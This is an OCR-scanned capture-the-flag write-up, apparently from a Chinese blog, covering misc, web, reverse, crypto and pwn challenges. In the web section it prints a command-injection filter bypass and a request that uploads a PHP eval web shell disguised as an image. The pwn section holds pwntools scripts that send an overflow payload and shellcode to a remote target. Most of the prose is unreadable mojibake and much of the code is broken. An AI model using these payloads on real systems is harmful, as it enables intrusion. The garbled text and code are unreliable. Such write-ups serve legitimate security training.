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T#Jsdoraemon.zip, EAMMAIT A RR: BWABEMEFKQREE N4R)E, FANMETFIEE OB T . RERIEY?



FiAdvanced Archive Password Recovery/@& i 13 216 % 7 %19: 376852

‘DeBaRS! v
‘ -
Advanced Archive Password Recovery (RiHER: & 0 O Ii

Sit0% 376,853 A #p XF B

it 39s 291ms Frrctal)

FIHEE(OSAL) 9,591 -
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T#48Blattach.zip, BEKZBIEF: L@ ANSE.png, F010editor{TH, RK¥pngRJEHABINEE, HEKPH:L, REUH
K — TRBEZHE.
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) ) ....IEND@B"
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Template Results - PNG.bt &
Name Value

> struct PNG_ CHUNK chunk[66] IDAT (Critical,Public,Unsafe to Copy)
> struct PNG_ CHUNK chunk[67] IDAT (Critical,Public,Unsafe to Copy)

EHORNEFRNY, RRAN—BRFERFH: gazsedcfirfvgycftbyhntgbnytfvbhyik,.;p, RIEZ KN iZ 25500, 53R EZD
WVALOU, f3ZlIflag>Cff, Uk RRIFF, BBUEZ AIwav.

audacity.exefT FF & F M43 Flflag:
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T #J5 NPerformance_art.zip, f#EEN—KE F:
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BESRMES, BEERA50 4B LM ZiH], EREHCERERE: ZmxhZ3tnNUEWIWKYZF9

[> $ ciphey "ZmxhZ3tnNUEwIWkyZjFo"
Possible plaintext:

The plaintext 1s a Capture The Flag (CTF) Flag

Formats used:
baseb4
utf8Plaintext: "flag{g5A@!i2f1}"

CSDN @SmOry



T#Rwireshark.zip, ITHRAFEZN, HIEMHO010 editorEE, KIMH4ERpngE A, REHpng:

Wireshark

2Rk Wireshark i3 A 5%F, FiFstegsolve B FHIsbfs B, RIS A 4h—KkpngBE F, FREUH RS B —ik — 443

BB Flwrsak...iehr370, B ERMAEE, BRI EEMwireshark3.7.0, L5775 Blwireshark XX, KINE B RpdfFE, #b
pdfsk. BEpdf3cf, F|HwbstegofdZlflag

flag{Go0dJOB_yOufindLt}
0x06 PCXP
TE T Krawi g, magent AXIOMZH#T, ZidHEE RS —LEnT BB RIO SO 42, AR — B HABKIE B -
i P OBEE. ! hEBEL. - P @

C\Documents and Settings\Administrator\ & E'\flag.txt Drive 2021/12/16 11:48:22
CADocuments and Settings\Administrator\ 5 E\flag.txt Dirive 2021112116 11:48:22

TR . S——— i I 5 A G oz et P T




LhDocuments and Settings\Administratonss E\flag. ot Lirive 202114116 114822

CA\Documents and Settings\Administrator\ 5 @\flagtxt Drive 2021/12/16 11:48:22
C\Documents and Settings\Administrator\x Ala\mirror.png Drive
—rwd \Device\HarddiskVolume1\RECYCLER\S-1-5-21-682003330-2077806209-725345543-300\Dec 33\ mirror mirror
—rwd \Device\HarddiskVolume1\Documents and SettingshAdministrator\My Documents\My Music\mirror.rar mirror.rar
wd \Device\HarddiskVelume1\Documents and Settings\Administrator\My Documents\My Music\ffflaaagggg.rar ffflaaagggg.rar
w- \Device\HarddiskVelume1\Documents and Settings\Administrator\My Documents\My Music\fffllaaagggg.zip fffllaaagggg.zip
w- \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\fffllaaagggg.zip fffllaaagggg.zip

i Fvolatility st Th 3£ B I+ 1E & FT FF I SC - n ~  Crar -> flag.rar, mirrord.rarSCE5E /), B mirror&B & & mirror.png X4 -

' ‘

| HEEY EEEE 453 £ QSpace &R

2 ~ | RIW =) Fhe
B mirror.png * 3.4 KB SK £ 4:38




V' key:mirror

CSDN @SmOry

fRIEE R Zlpng® . Isbfa’E, IREL: zsteg -E “extradata:0” mirror.png > mirror1:

00000000: 82 60 42
00000010: 60 b7 31
00000020: 02 d2 c@
00000030: a7 a5 c8
00000040: 40 27 83

00000050: 22 02 b9

) as f:
: ) as g:
g.write(f.read()[::-1])




B3 E4E %S : HSC-1th202248H, fi# K46 515 Blsecretpcap, LA ARusb RN EBERE, 4 FRforemostE #45 H ik &
A, ReFR/AA—#E, BHEEKEEZfag:

HSC-1th202248H

flag{Wat3rMarkPtysc}

Web
0x01 CLICK

HISIGIE, EEETE/static/mainjsSif, R Pibaseb4 T, %13 FIlag{be92495¢-b0ba-46dd-af33-90b10af858eh}

var

varl="ZmxhZz3tizTkyNDk1ZS1iMGIOLTQ2ZGQtYWYzMy05MGIXMGFMOD

U4ZWJ9Cg==";var var2=0;var var3=0x7080;var

var4="asdfghjklzxcvbnm,qwertyuiop_@.";function funcl(a) “

{$("#num") .text(a)} re style="word-wrap: break-word; white-space: pre-wrap;">

function func2(a){var2++ "var varl="ZmxhZ3tiZTkyNDk1ZS1iMGI@LTQ2ZGQtYWYzMy@5MGIxMGFmODU4ZWI9Cg==";var var2=0;var var3=0x7080;var
funcl(var2) var4="asdfghjklzxcvbnm,qwertyuiop_@."; function funcl(a){$("#num").text(a)} function func2(a){var2++

if(var2>=var3 && var2 <= eval("var"+3+"+10")) funcl(var2) if(var2>=var3 && var2 <= eval("var"+3+"+10"))

{funcl(eval(var4[18]+"in"+var4[2]+vard [25]+"w"+vard [29] +var4 [0]+"to"+var4[13]) (varl))} }"

{funcl(eval(var4[18]+"in"+var4[2]+var4[25]+"w"+var4[29]+
var4[0]+"to"+var4[13])(varl))}
}

</html>

0x02 Web-sign in



IR IR AErobots Y 'S 2 B #:2 Erobots. txt

User-agent: *
Disallow:
Disallow: fiag 1ls h3re.php

fTalad ) FaLe —_— ]
SN @SmOry

Vil fiag_ls_h3re.php , RIF2AAEIIWEEM, ML ERAEITIT W Z /T IF12, F2flag.

ﬂ Elements Console Recorder Sources Network Performance Memory Application Se

<html>
» <script id="allow-copy_script">..</script>
» <head=>..</head>
¥ <body>
<p style="font-family:arial;color:black;font-size:20px;text-align:center;">FlagfREiXEMH</p>

» <script>..</script>
</body>
</html>

0x03 EXEC



WRPAT RIS IE TRE Ky

<?php

error_reporting(0);
if (isset($_REQUEST[ "cmd" ]
$shell = § REQUEST["cmd"];

$shell =
Sshell
$shell
Sshell
$shell
Sshell
$shell
Sshell
$shell
Sshell
$shell
Sshell
$shell
Sshell
$shell
Sshell
S$shell
Sshell
Sshell
Sshell
Sshell
Sshell
S$shell
Sshell
Sshell
$shell
Sshell

telse{

str ireplace

M)A

(

v

n
r

"",$shell);

str_ireplace("\n","",$shell);

str ireplace

(
(
(

”\t" ’

str_ireplace("?",
str _ireplace("*","",$shell);
str ireplace("<",
str ireplace("system","",$shell);
str ireplace('"passthru","",$shell);
str ireplace("ob start","",$shell);
str ireplace("getenv","",6$shell);
str ireplace("putenv","",$shell);
str ireplace("mail","",$shell);

str ireplace("error log","",$shell);
str ireplace ”‘","",$shell);

str_ ireplace
str ireplace
str_ireplace
str ireplace
str_ireplace
str ireplace
str_ireplace
str ireplace
str_ireplace

¥

n

v

v

v

n

"",$shell);
"", S$shell);

"", S$shell);

exec" "",$shell);

shell exec","",$shell);

echo" "",$Sh91l)$

cat" "",$she11);
"1s", ”",$shell);
"nl","",$shell);
'tac","",$shell);
'bash" "",$shell);
sh", ”",$shell),

str ireplace("tcp","",$shell);
str_ireplace("base64","",$shell);
str ireplace("flag","",$shell);
str_ireplace('"cp","",$shell);
exec($shell);

highlight file(_ FILE

}

(
(
(
(
(
(
(
(
(
(
(
(
(
(

)

.
r

CSDN @

exp: ?cmd=I"s${IFS}/>Narwww/html/a, Fijilaa, fF2lctf is_fun_flag20213C 14,
g

HHiE?2emd=n"1${IFS}/ctf_is_fun_fI"ag2021>/variwww/html/af3 Elflag: flag{4449e8e6-ceec-4fc0-9d38-64559dd5197F}

0x04 CMS SYSTEM

TTMs, BEEGMadminkIE S, KIWRYCCMS, jiElwww.zipk IR .

B MRAKIMYCCMSHFAEEBFEMEERF, MXpocZ®E T L.

https://www.cnblogs.com/0daybug/p/12932677 .html

SmOry


https://www.cnblogs.com/0daybug/p/12932677.html

B G E %S a=admin&m=update, POST f&A\:
username=admin&password=admin&notpassword=admin&send=%E4%BF %AE%E6%94%B9%E5%AF %86 %E7%A0%81

Request

Pretty WEEVWE \n  Actions

1 POST /admin/?a=admin&m=update HTTP/1.1

2 Host:
bfd34c5c-3fcb-4364-8b00-23daalee744a.node. honkersecuritycommand
0.5ite:8080

3 Content-Length: 89

4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80
Safari/537.36

5 Content-Type: application/x-www—form-urlencoded; charset=UTF-8

6 Accept: *x/*

7 Origin:
http://bfd34c5c-3fch-4364-8b00-23daalee744a.node.honkersecurity
commando.site:8080

8 Referer:
http://bfd34c5c-3fch-4364-8b00-23daalee744a.node.honkersecurity
commando.site:8080/admin/

9 Accept-Encoding: gzip, deflate

10 Accept-Language: zh-CN,zh;q=0.9

11 Cookie: PHPSESSID=45u6qrec53hm@ulaaldku5ccgl

12 Connection: close

13

14 username=admin&password=admin&notpassword=admin&send=

%E4%BFSAESE6%D4%BI%E5%AF%86%E 7%A0%81

J& B FE M EARIRTR

Response

Raw Render \n

1
2
3
4
5
6
7
8

9
10
11
12

Actions

HTTP/1.1 302 Found

Cache-Control: no-store, no-cache, must-revalidate, post-check=0
Content-Length: 326

Content-Type: text/html;charset=utf-8

Date: Sun, 20 Feb 2022 14:24:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: ?a=login

Pragma: no-cache

Server: Apache/2.4.29 (Ubuntu)
Connection: close

<script type="text/javascript" src="../public/js/jquery-1.8.1.mi
</script>
<script type="text/javascript" src=
</script>
<script>
$(function(){
layer.alert (" ZEREAAIN", {
offset: ["75px"],icon:6,shade: 0.1,title:"{ZERE"
},function(){
self.location.href="?a=admin&m=update"

../public/layer/layer.js">

+
)
}
)3

</script>

CSDN @SmOry



https://blog.csdn.net/qq_43233085/article/details/105447576

Request

Pretty m \n

1
2

[=2 LS N = ¥V )

[a]

[t=}

10

Actions

POST /admin/?a=call&m=upLoad HTTP/1.1

Host:

bfd34c5¢c-3fcbh-4364-8b00-23daalee744a.node. honkersecuritycommand
0.51te:8080

Content-Length: 419

Cache-Control: max-age=0

Upgrade-Insecure—Requests: 1

Origin:
http://bfd34c5¢c-3fcb-4364-8b00-23daalee744a.node.honkersecurity
commando.site:8080@

Content-Type: multipart/form-data;
boundary=—-——WebKitFormBoundaryULqwU71wrRSUGaRH

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avi
f,image/webp, image/apng, */*;q=0.8,application/signed-exchange;v
=b3;0q=0.9

Referer:
http://bfd34c5c-3fcb-4364-8b00-23daalee744a.node. honkersecurity
commando.site:8080/admin/?a=call&m=upfile&type=content
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=45u6grec53hm@ulaaldku5ccgl

Connection: close

—————— WebKitFormBoundaryULqwU71wrRSUGaRH
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2097152
—————— WebKitFormBoundaryULqwU71wrRSUGaRH
Content-Disposition: form-data; name="pic"; filename="

shell.png.php"
Content-Type: image/png

<?php eval($_POST[Sm@ry]l);?>

—————— WebKitFormBoundaryULqwU71wrRSUGaRH
Content-Disposition: form-data; name="send"

WE L%
—————— WebKitFormBoundaryULqwU71wrRSUGaRH—-

Response

Raw Render \n Actions v

1 HTTP/1.1 200 OK

2 Cache-Control: no-store, no-cache, must-revalidate, post-
3 Content-Length: 110

4 Content-Type: text/html;charset=utf-8
5 Date: Sun, 20 Feb 2022 14:32:13 GMT

6 Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
7 Pragma: no-cache

8 Server: Apache/2.4.29 (Ubuntu)

9 Vary: Accept-Encoding

10 Connection: close

11

12 <script type='text/javascript's

alert('BE: B RXBERRSTER!
history.back();
</script>

");

CSDN @SmOry

LogoUpload.class.php F R &K X Ear 4, FHEESHKATE, BEEBESCAshel.png.php, LAEEVH
view/index/images/logo.php, E/RICHFFTE, BHEFR Az flag

flag{185737e5-953f-49c8-8d0d—-07ade4c66799}

REVERSE

0x01 hiahia o(V) **

Elements Console Recorder & Sourcq

o

LOAD SPLIT EXECUTE TEST -~

URL

http://bfd34c5c-3fcb-4364-8b00-23daalee7444a

Enable POST

Body
SmOry=system('cat ../../../../../../ ../ ../flag’);


https://blog.csdn.net/qq_43233085/article/details/105447576

T#H X hAha.exe, HiNidalRF/H, KIAha, Well done!

9 _main();

100 v4 = 'muM~bdgi’;

11 v5 = '"%;%>&p@u’;

12 v6 = 'p<$<'y]

13| printf("please input your flag:");
14| scanf("%s", v7);

15 for ( i = 0; (int)i <= 19; ++i )

16

17 *((_BYTE *)&v4 + (int)i) = flag((unsigned int)*((char *)&v4 + (int)i), i);
18 if ( v7[i] != *((_BYTE *)&v4 + (int)i) )

19

20 printf("Aha, Well done!");

21 return 0;

22 }

23

24| printf("Ahal!");
25 return 0;

o O
SDN @5rmOry

—— - - —

rhl

unsigned _ int8 v3; // [rsp+10h] [rbp+10h]

vl = al;
if ( a2 > 9 )

if ( 1(a2 & 1)
vi = al - 11;

if (a2 ¥ 2 ==
v3i += 13;

}

else

if ( 1(a2 & 1
vi =al - 3

if (a2 ¥ 2 ==1 )
vy += 5;

return v3i;

}

oD @smUry

print(flag)

0x02 ANDROID



T#apk3fk, #AAndroid Killer&ZFjava,

pos ey sew —
i= 0
while (i < 18)
{
paramView = paramView.concat (Integer.toHexString(arrayOfInt[i])).concat(",");
i+4=1;
}
System.out.println(paramView);
i=kk
while (i < 18)
{
if (arrayOfInc[i] != new int([] { 102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, S8, 83, 30, 79, 0, 64, 42 1[i])
{
this.input.setText ("FLAGES B! ");
return;
}
i+=1;
}
this.input.setText ("FLAGIEFE"):

return;
}
int j;
if (is2==0) {
j = paramView[i] ~ 1i;
} else {

j = paramView([i] ~ paramView[(i + 1)]:
}
array0OfInt[i] = j:
i+=1;
}
}

CSDN @SmOry

HEEGHH:

[102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42]

(strs)-2,-1,-1):

0:
strs[i]
else:
strs[i] (strs[i+1])

print("".join( (i) for i in strs))

0x03 WAY

T#MB2H): maze-upxexe, BEHREUpx-d, HEANidaEEFEF/KFE, ®KE

Address Length Type String

[5] .rdata:0040... 00000013 C libgcc_s_dw2-1.dll

|Z| .rdata:0040... 00000016 C __register_frame_info
‘s’ .rdata:0040... 00000018 Cc __deregister_frame_info
[5] .rdata:0040.. 00000016 Cc ouch, hit the wall...\n

[5] .rdata:0040.. 00000006 c pause

[s] .rdata:0040.. 00000024 Cc flag is the value of md5{your_path}
[s] .rdata:0040.. 00000014 Cc find your way out!\n

's’| .rdata:0040... 0000001C o your input is malformed...\n

CSDN @SmOry

56 ;utszﬁfind your way out!\n");
21 scanf("%12s", &Str);
22| v4 = strl??((cunst char *)&Str);

"y oy X - & [ . - |



o J 4L ( tve || Ve & 1L )

24

25 puts(“your input is malformed...\n");
26 system("pause”);

27 exit(0);

28| }

29| for (i =0; i < v4; ++i )

30 ¢{

31 v5 = *(( _BYTE *)&Str + i);

32 if ( v5 = 'w' )

33 moveup (rowp, colp);

34 if ( v5§ == 'a’
35 mveleft(rwp,
36 if ( v5 == 's' )
37 mvedm(rwp,
K} if ( v5 == '4d’
39 moveright (rowp, colp);
40

41 system("pause”);

42  exit(0);

43}

colp);

colp);

T

e

CSDN @SmOry

# Fmaze:

.data:0040c008 public _maze
.data:0040C008 ; unsigned  int8 maze[26]
.data:0040C008 _maze db 4Fh, 4 dup(4%h), 2 dup(irh), 49h, 4Fh, 23h, 49h, 3 dup(4Fh)
.data:0040C008 DATA XREF: _movedown+31t
.data:0040C008 } _moveup+311r ...

.data:0040Cc008 db 2 dup(49h), 4Fh, 49%h, -I.l'h, 6 dup(4%h), O

.data:0040C022 align 4

.data:0040C024 public _rowp

.data:0040C024 ; _int *rowm

.data:0040C024

.data:0040C024 ® A Exportdata
.data:0040C028
.data:0040C028
.data:0040C028
.data:0040C028
.data:0040Cc02C |

.data:0040C02C H
“aata.0040cm hex string (unspaced)

.data:0040C030 :
.data:0040Cc031 | hex string (spaced)

.data:0040Cc032 i i
.data:0040Cc033 o Strmg literal

-data:0040C034 C unsigned char array (hex)
.data:0040c034 . d
-data:0040C035 C unsigned char array (decimal)
.data:0040C036 el i

.data:0040C037 initialized C variable
.data:0040C038
.data:0040C038 raw bytes
.data:0040C03C
.data:0040C03C
.data:0040C03C
.data:0040C040
.data:0040C040 A
.data:0040C040 | Save data to clipboard
.data:0040C044
.data:0040C044
.data:0040C044
.data:0040C048 .
“data:oo4ocos9 | Lreview
.data:0040C04A

Export as

.data:0040C04B

el o04ocose | OlIIOOIOHOOOIIOIONINIX00
.data:0040C04D
.data:0040CO4E
.data:0040C04F CSDMN @5m0Ory
.data:0040c050 ) S g

E5x5H B, R H L 15 Blsdsddwd, md578 Flflag:

OIIII




sdsddwd

sparcte &£, idaik Rk, HESTICHMAL
X B K R B R B R R 45 R BIRR

¥sp, -0xEO, %sp
[$g7+0x28], %gl
%gl, [tfp+arg_ TF7]
0, %gl
[$fp+arg_T7D3]
[tfp+arg_T7D7]

[t fp+arg TDF]
0x37463F30, %gl
%gl, 32, %g2
0x44413243, 3igl
%g2, %gl, %gl

%gl, [%fpt+arg TET]
0xDOA400, %gl

3gl, 38, %gl

%gl, [%fpt+arg_ T7EF]
aInputSparkleFl, %00 ! "input sparkle flag here:\n"
_puts

%*fp, arg_7D7, %gl
0xC, %02

*gl, %ol

0, %00

_read

[$fp+arg_T7D3]
¥xcc, loc_10087C

L

LoDN @5mOry

MK BETERMARKRKERN N0, MAKSNFRHREORE, &EMOHMEPILRELER



(ol e =

loc_10087cC:

1d [ 3], %ql
cmp %gl, 9
bié ¥icc, loc_l007ES8

nop
;jl

[l i =

loc_l1007ES8:

1ld [¢fp+arg_7D3], %gl

sra %gl, 0, %gl

add tfp, arg_7FF, %g2

add %g2, %gl, %gl

ldub [¢gl-0x28], %gl

inc -0x2F, %ql

mov igl, %g2

1d [¢fp+arg_7D3], gl

sra *gl, 0, %gl

add ifp, arg_7FF, g3

add g3, igl, igl

stb g2, [%gl-0x28]

1d [¢fp+arg_7D3], %gl

sra *gl, 0, %gl

add ifp, arg_7FF, g2

add ig2, igl, igl

ldub [¢gl-0x28], %g2

1d [¢fp+arg _7D3], %gl

sra *gl, 0, %gl

add tfp, arg_7FF, g3

add g3, igl, gl

ldub [¢gl-0x18], %gl

and ig2, OxFF, %g2

and *gl, OxFF, %gl

cmp g2, igl

ta $ice, loc_100870

op - CSDN @SmOry

4 EL 1145 5 431 L OxF BV BT 78 Elflag

@=0x3746313044413243
b=0xDOA4003044413243
c=OXffffffrfffffffrff
print( ((b>>38)&c))

(0,1en(s),2):
arr.append( (s[i:i+2],16))
for i in ( (arr)):
arr[i]+=0x2f

print("".join( (i) for i in arr))

0x05 VM



Msub_400F B4 &5 138 S\ B BE R~ 16:

o I [ S St S e e btk - — —] " L] " "SR wTaimEew
1jpoid _ noreturn sub_400FB4()
2{
3| int i; // [rsp+8h] [rbp-18h]
4
5 for (i =0; i <= 15; ++i )
6
7 if ( *(_BYTE *)(i + 48 + gqword_6BC3CO) != aMEpbeJGYo¥s[i] )
8
9 sub_410760((__int64)"not correct:( sorry...");
10 sub_40EF80(0);
11 }
12

}
13| sub_410760((
14| sub_40EF80(0);

int64)"congratulation!you got me:D");

o

CSDMN @5SmOry
i v 3 /B #8 7Esub_400EBF & 31 55 1247 $04T

1junsigned _ int64 _ fastcall sub_400EBF(__int64 al)

2|{

3 unsigned __int64 result; // rax

4| int i; // [rsp+l4h] [rbp-Ch]

5 wunsigned __ int64 v3; // [rsp+18h] [rbp-8h]

6

7 wv3 = _ readfsqword(0x28u);

8 for (i=0; i <= 4; ++i )

9
10 if ( **(_BYTE **)(al + 16) == *(_BYTE *)(16 * (i + 1LL) + al + 8) )
11
12 (*(void (__ fastcall **)(__int64))(16 * (i + 1LL) + al + 16))(al);
13 break;
14 }
15
16 result = _ readfsqword(0x28u) * v3;
17| if ( result )
18 sub_44C050();
19 return result;
20}

CSDMN @SmOry

IR, Wi — M N16KIMA, "abedefghijkimn12”
SRR, MANSNMFEHERES, BR®3, KREM, BEMBAKresthi
Xfres’5 i¥iiz H A Bl AT 45 Blflag

S
print(hex(ord("a")"8"3))
print( (ex6a+1))

flag

for c in res:
flag (( (c)-1)78"3)
print(flag)

CRYPTO



0x01 Easy Signin

L GE RS
5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4ES24564565646644D515670455
130354C5755644F5231685256314A5452315A5552304E57576C5A49525430395054303950513D3D

b ciphey "5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A
E524564565646644D515670455130354C5755644F5231685256314A5452315A5552304E57576C5A
9525430395054303950513D3D"

Possible plaintext: (y/N): vy

The plaintext is a Capture The Flag (CTF) Flag
Formats used:

baselé

utfs8

baseb64

utfs8

base32

utfs8

baseb64

utf8Plaintext: "flag{welc@Ome_to_my_sign_in}"

CSDN @Sm0Ory

cipheyH ¥ Hiflag

0x02 AFFINE

155 %8Y, SFhitps:/licode9.com/content-4-1124105.html
Jakafllb

import string
import hashlib

letter=string.ascii_letters+string.digits

ch flag[ ]
t=(letter.index(ch) i+ 3j)
c.append(letter[t])

.join(c)

if d in m:
print( ,1)
print( »3)
return



https://icode9.com/content-4-1124105.html

letter string.ascii_letters+string.digits

11
17
[]
iin ( (m)):
ch m[i]
letter.index(ch)
(17%(t-17)) 62
(€9)
c.append(letter[x])
d .join(c)
print(d)

(1=t )
(Ij=lr 17)
Oh62AffinelsStil IN@tSecureEnoughToProtectflag

CSDN @SmOry

md5— T sl ~flag
0x03 LINE-GENERATION-TEST

TERER—KE T, hilFEG

_ = = o O
C}C:lr—-r—-C:'l

('- I lr:'fu- el avd
LSDN @S5rmOry

FIRBRDAR S RS SERE, JEREMIR/ME BIflag: RSCTF, md5in% 53 flag{e4163deba70420c58ach87abcab34141}.
0x04 LATTICE

TREMA, KBflagh =%,



.strip(b ).strip(b
(flag)
[flag[_* length//3:(_+1)* length//3] for _ in

import

238183052844504077984745438414427781641184305216100437267895057005318572111392339839276677404266814736114217
8121647154832103317537852455065945194920068309657564659777042033352420417628276366588286456438847176596930295442
©394630419303362777912490426962573169221783887636684177478144311692343348905299751465406910364431823004781961449
4096827140941291234038822578728353027526641708479412591483249385286807489420301119860043676246578079138869221932
6518970409273509380234483263633616573746025960464100531630269229172624682854590740664543326595606193611040880075
1546469158181520009116013316133121377819590970122050812854789
el 98357836730955534460582913841762280430023319433509990345346232749928387390225219712368050502730462600250599
8720373092770012166405272340743274764587129644587265679876558455276426762898927869752198494324190819298639653007
7301150942289434104385028360155639928443785704472753619847188084726935475600846835326073460115218216212785556408
7084622691053283940309962179165568736272668423306684538584837134981386544284879499441891082615635685585721241073
80903712891578297171120862197369764331518753921684965420121318071916309204747667657476806551055584210466752436709
2176078704990826846481952895354353484344820523539218467328609
e2 17375316355314118406320219911734421029944943076411309671685926390155316380478008061756850363872585667159388
9235313189556620850056149178434429761059691670394759369242203965289156481689820231135425422017043197666530865400
1587722262005417329924566819534448854815544605903328751620722397088467000518599618407653888501208799684887799385
9469631166842992572290730174768464087877396078823473042762659765399198326507762349243538341205082556290883091174
1773790986264933825610674935608936033132317052607296218904896191110831504748866269588508120939156477023856898977
92432029133765456750687073104627271449802966450876185872407293
C 182565864376880711794991773909768770338431240747311185957842757062754625493935750701937131572852471550527830
4066018634919194624320662128341785411494751233851012009049407546262945966173371923245444876594373355040542887048)
4328139300079099605288398777526459160412929323065084297815106233447065396152086777361372972058145457645409788067
2040977889312270234500195194083514213675643156185484630983079846988491511292137297074953503902451469461209179288
2278365141395754197699238234003741039605119623368588726502904139810547175747010391084181918696734944317464109816
6881199762042452259613391893862411694579851230262676110579543
for i in (1000):

alpha2 = i/1000

M1 (gmpy2.mpz(N)**0.5)

M2 (gmpy2.mpz(N)**(1+alpha2))

D = diagonal_matrix(zz, [N, M1, M2, 1])

B = Matrix(zz, [[1, -N, @, N**2],

[0, el, -el, -el*N]
[0, ©, e2, -e2*N]
[0, o, 0, el*e2]

)

D

L = B.LLL()
v = Matrix(Zz, L[0])
X = v * B¥¥(-1)
phi (x[0, 1]/x[0, ©]*el).floor()
try:
d = inverse_mod(65537, phi)
m (power_mod(c, d, N))[2:]
print(i)
print( .fromhex(m))

except:
pass



https://lazzzaro.github.io/2020/05/06/crypto-RSA/

398
b'f-4ae@-b369-"
399
b'f-4ae@-b369-"
400
b'f-4ae@0-b369-"
401
b'f-4ae@-b369-"
402
b'f-4ae@-b369-"
403
b'f-4ae@-b369-"
404
b'f-4ae@-b369-"
405 CSDN @SmOry

353
b'89c63fd5-00c"'
354
b'89c63fd5-00c"'
355
b'89c63fd5-00c"'
356
b'89c63fd5-00c"'
357
b'89c63fd5-00c"'
358
b'89c63fd5-00c'
359 CSDN @Sm0Ory

B PHEREF]: flag{89c63fd5-00cf-4ae0-b369-5a3d94a20a2c)

NewsCTF 2021 #1255




N=12468908507725816477806831204220462331049960847914723030378439739085655216121699048010760196233714579511970241
8941037207945225700624828698479201514402813520803268719496873756273737647275368178642547598433774089054609501123
6104870773567308537610960234391960900139760968008954548988159120670038826844150727910991018142927717521561823216
9014976542710041144737230275721391283617739273492110782680045196135647640367653701563589199391425933080589480643
4804806828557650766890307484102711899388691574351557274537187289663586196658616258334182287445283333526057708831
147791957688395960485045995002948607600604406559062549703501

t=10

import gmpy2
for k in (-1000000,1000000) :
x=gmpy2.iroot(k**2+4*t*n,2)
if x[1]:
p=(-k+x[@])//(2*t)
g=t*p+k
break
import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long

c=12468908507725816477806831204220462331049960847914723030378439739085655216121699048010760196233714579511970241]
8941037207945225700624828698479201514402813520803268719496873756273737647275368178642547598433774089054609501123
6104870773567308537610960234391960900139760968008954548988159120670038826844150727910991018142927717521561823216
901497654271004114473723027572139128361773927349211078268004519613564764036765370156358919939142593308058948064 3
4804806828557650766890307484102711899388691574351557274537187289663586196658616258334182287445283333526057708831
147791957688395960485045995002948607600604406559062549703501

t=gmpy2.gcd(e,phi)
d=gmpy2.invert(e//t,phi)
m (c,d,n)
msg=gmpy2.iroot(m,t)
if msg[1]:

print(long_to bytes(msg[@]))

0x06 BABY-RSA

S Flifsrid J& H p Y B A :



from Crypto.Util.number import
import gmpy2

def 1fsr(status,mask):
out (status 1) oxffffffff
i=(status&mask)&oxfffffff
lastbit=0
while il=0:
lastbit”=(i&1)
i=i>>1
out”=lastbit
return (out,lastbit)

status= 1
mask 0b10110001110010011100100010110101
key

S

for i in (568):
(status,out)=1fsr(status,mask)
p2 out (key[i])
SEES (p2)

print(s)

p
print(p)

E&npiI AL, AT LRI B Coppersmithie Bk B H 52 B Kp:

p:
902250062886270209332670244257976470429655544862736741454746290223354835791680203213341776006244753
584194587813870215770789579788865550662645143649512298718336117131446171558370233137567417160419931
591550935227694167424616838100410453619263349461155474872342725209142494969548649044676344711675096
89549908477

T fifH MRSATS 2lflag

PWN

0x01 Ez_pwn

pwnZZ 3|, BEitidantr, KMgetsmEKLEI]:

from pwn import

io remote( ,10203)
payload=b 0x48+p64(0x400741)
io.sendline(payload)
io.interactive()

0x02 EZPWN




R UMERMILS, R BTTpie, FERTTRE. BEIEAgotN)E I TREEI

from pwn import

elf=ELF(

io remote( , 10203)
name=0x6010A0

puts_got=elf.got[

bkdoor=0x400796

print( (puts_got))

io.recvuntil(b )
payload=asm(shellcraft.sh())

io.sendline(payload)
.recvuntil(b
.sendline( (puts_got).encode())
.recvuntil(b )

.sendline(p64(bkdoor))

.interactive()
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